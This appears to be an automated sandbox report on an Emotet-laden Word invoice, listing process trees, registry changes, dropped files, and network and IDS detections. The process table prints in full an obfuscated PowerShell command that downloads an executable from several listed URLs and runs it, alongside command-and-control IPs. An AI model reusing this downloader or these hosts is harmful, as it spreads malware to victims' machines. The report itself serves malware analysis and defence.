| File name: | factura_O-2461112.doc |
| Full analysis: | https://app.any.run/tasks/54082f56-51c3-4f03-a270-212594e8c86b |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 17, 2020, 19:05:20 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Excepturi., Author: Lilou Richard, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 17 16:34:00 2020, Last Saved Time/Date: Fri Jan 17 16:34:00 2020, Number of Pages: 2, Number of Words: 4, Number of Characters: 27, Security: 0 |
| MD5: | 32A35FAC87D1F4D8B648851E6D99F27F |
| SHA1: | 9234B5A3E3FBEF2A71E05A1CD8E0CA8D468DA559 |
| SHA256: | FD8E1A31395DF342EA18D9D4B4D6A6F96B174296F5E0AA8DC62284D83B654078 |
| SSDEEP: | 6144:o0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+kfjVjG/SF7:o0E3dxtR/iU9mvUPaM/SF7 |
MALICIOUS
Application was dropped or rewritten from another process
- 798.exe (PID: 1788)
- 798.exe (PID: 3728)
- serialfunc.exe (PID: 3004)
- serialfunc.exe (PID: 1596)
Downloads executable files from the Internet
- Powershell.exe (PID: 932)
Emotet process was detected
- 798.exe (PID: 3728)
EMOTET was detected
- serialfunc.exe (PID: 1596)
Changes the autorun value in the registry
- serialfunc.exe (PID: 1596)
Connects to CnC server
- serialfunc.exe (PID: 1596)
SUSPICIOUS
PowerShell script executed
- Powershell.exe (PID: 932)
Executed via WMI
- Powershell.exe (PID: 932)
Executable content was dropped or overwritten
- Powershell.exe (PID: 932)
- 798.exe (PID: 3728)
Creates files in the user directory
- Powershell.exe (PID: 932)
Starts itself from another location
- 798.exe (PID: 3728)
Application launched itself
- serialfunc.exe (PID: 3004)
Connects to server without host name
- serialfunc.exe (PID: 1596)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2752)
Creates files in the user directory
- WINWORD.EXE (PID: 2752)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| Title: | Excepturi. |
|---|---|
| Subject: | - |
| Author: | Lilou Richard |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:01:17 16:34:00 |
| ModifyDate: | 2020:01:17 16:34:00 |
| Pages: | 2 |
| Words: | 4 |
| Characters: | 27 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 30 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 932 | Powershell -w hidden -en JABTAGkAbAB1AHkAdwB1AGMAdAB4AGUAPQAnAE8AegByAHIAbwBpAGsAZgBjACcAOwAkAEoAZQBmAHQAbABiAHMAbgBtAHEAYQBrACAAPQAgACcANwA5ADgAJwA7ACQARAB5AG8AdwB1AGkAbQBiAGgAZgA9ACcAVQBiAHAAeQBoAGsAaQBvAHYAdABkACcAOwAkAEwAaQB4AGUAdwB5AHQAeQBwAGEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEoAZQBmAHQAbABiAHMAbgBtAHEAYQBrACsAJwAuAGUAeABlACcAOwAkAFkAbABjAHMAawBxAG8AbABqAHYAeABmAD0AJwBPAHIAcABhAGoAbwBlAHgAbgB0AGwAeAByACcAOwAkAFUAZwBnAGYAZgBjAHkAcABlAGgAPQAmACgAJwBuACcAKwAnAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAYwBMAEkAZQBOAHQAOwAkAEoAZABzAGQAbQB4AGwAZgBmAGIAdgBlAG4APQAnAGgAdAB0AHAAOgAvAC8AbQB5AHAAaABhAG0AcwB5AGwAaQBjAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUwBJAGwAWgBsADQAOQA5ADMAMwAvACoAaAB0AHQAcAA6AC8ALwBlAHgAYwBsAHUAcwBpAHYAZQBoAGgAaQB0AHoALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBPADMAMABHAFAAZgBLAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBrAG8AegBtAGkAawB3AGUAYgAuAGMAbwBtAC8AcwBzAGwALwBTAGsAZQBvAHUAWQBoAEsATwAvACoAaAB0AHQAcAA6AC8ALwBkAGkAZQBuAG0AYQB5AGIAZQBwAHYAaQBlAHQALgBjAG8AbQAvAGUAaQB6AG0AcAAvAHEARQBiAFgANQAzADUANwA1ADMAMgAvACoAaAB0AHQAcABzADoALwAvAGwAYQBwAGEAcgBvAHMAYwBvAHAAeQBzAGEAbABlAHMALgBjAG8AbQAvAHAAcgBvAGQAdQBjAHQAcgBlAHYAaQBlAHcAcwAvAEMAbQBwAGwANgA2ADcAMAA3AC8AJwAuACIAUwBwAGAAbABJAFQAIgAoACcAKgAnACkAOwAkAFEAawB2AGEAYwB2AHcAawBpAHgAPQAnAEIAbABnAHIAdABiAGwAdAB4AGYAcwB1AHoAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEgAbwB0AGQAbwBnAGEAcwB4AGYAcQAgAGkAbgAgACQASgBkAHMAZABtAHgAbABmAGYAYgB2AGUAbgApAHsAdAByAHkAewAkAFUAZwBnAGYAZgBjAHkAcABlAGgALgAiAGQATwBgAFcAYABOAGAATABvAGEAZABGAEkATABFACIAKAAkAEgAbwB0AGQAbwBnAGEAcwB4AGYAcQAsACAAJABMAGkAeABlAHcAeQB0AHkAcABhACkAOwAkAFkAaQBoAG0AegBjAGIAcwA9ACcARgBjAGQAcwBoAGgAZAB1ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQATABpAHgAZQB3AHkAdAB5AHAAYQApAC4AIgBMAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADMANAAxADcAOAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAYQBgAFIAVAAiACgAJABMAGkAeABlAHcAeQB0AHkAcABhACkAOwAkAEgAYgBzAHcAZwBzAG0AbABzAGEAPQAnAFUAeQBiAGIAawBwAHUAegB0AHYAJwA7AGIAcgBlAGEAawA7ACQAWQBoAGIAcQB5AHAAegBoAG4AcQBxAD0AJwBRAHMAawBwAGgAcwBiAGUAcQBqAHUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwBlAHkAYwBzAGwAbQBlAHgAPQAnAFcAbQBjAGIAdAB5AGUAaAB1AG0AdQAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1596 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 1788 | "C:\Users\admin\798.exe" | C:\Users\admin\798.exe | — | Powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2752 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\factura_O-2461112.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3004 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 798.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 3728 | --6b88d874 | C:\Users\admin\798.exe | 798.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: PromptEdit_Demo MFC Application Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
Total events
2 220
Read events
1 391
Write events
695
Delete events
134
Modification events
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | {n` |
Value: 7B6E6000C00A0000010000000000000000000000 | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2752) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1345388606 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2752 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR96FB.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2752 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF79CB926E322EED5C.TMP | — | |
MD5:— | SHA256:— | |||
| 932 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J5KQ1BLPX7TIA3FVSUWV.temp | — | |
MD5:— | SHA256:— | |||
| 2752 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$ctura_O-2461112.doc | pgc | |
MD5:— | SHA256:— | |||
| 2752 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 932 | Powershell.exe | C:\Users\admin\798.exe | executable | |
MD5:— | SHA256:— | |||
| 3728 | 798.exe | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | executable | |
MD5:— | SHA256:— | |||
| 932 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2752 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 932 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39a061.TMP | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
1
Threats
7
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1596 | serialfunc.exe | POST | — | 98.199.196.197:80 | http://98.199.196.197/8EO2aB4fKO | US | — | — | malicious |
932 | Powershell.exe | GET | 200 | 103.200.5.127:80 | http://myphamsylic.com/wp-content/SIlZl49933/ | HK | executable | 332 Kb | suspicious |
1596 | serialfunc.exe | POST | 200 | 188.85.143.170:80 | http://188.85.143.170/YyYtcwIVCAQHJtDbP | ES | flc | 132 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
932 | Powershell.exe | 103.200.5.127:80 | myphamsylic.com | NewMedia Express Pte Ltd | HK | suspicious |
1596 | serialfunc.exe | 98.199.196.197:80 | — | Comcast Cable Communications, LLC | US | malicious |
1596 | serialfunc.exe | 188.85.143.170:80 | — | Vodafone Spain | ES | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
myphamsylic.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1596 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
1596 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
1596 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
1596 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
1596 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
1596 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
1 ETPRO signatures available at the full report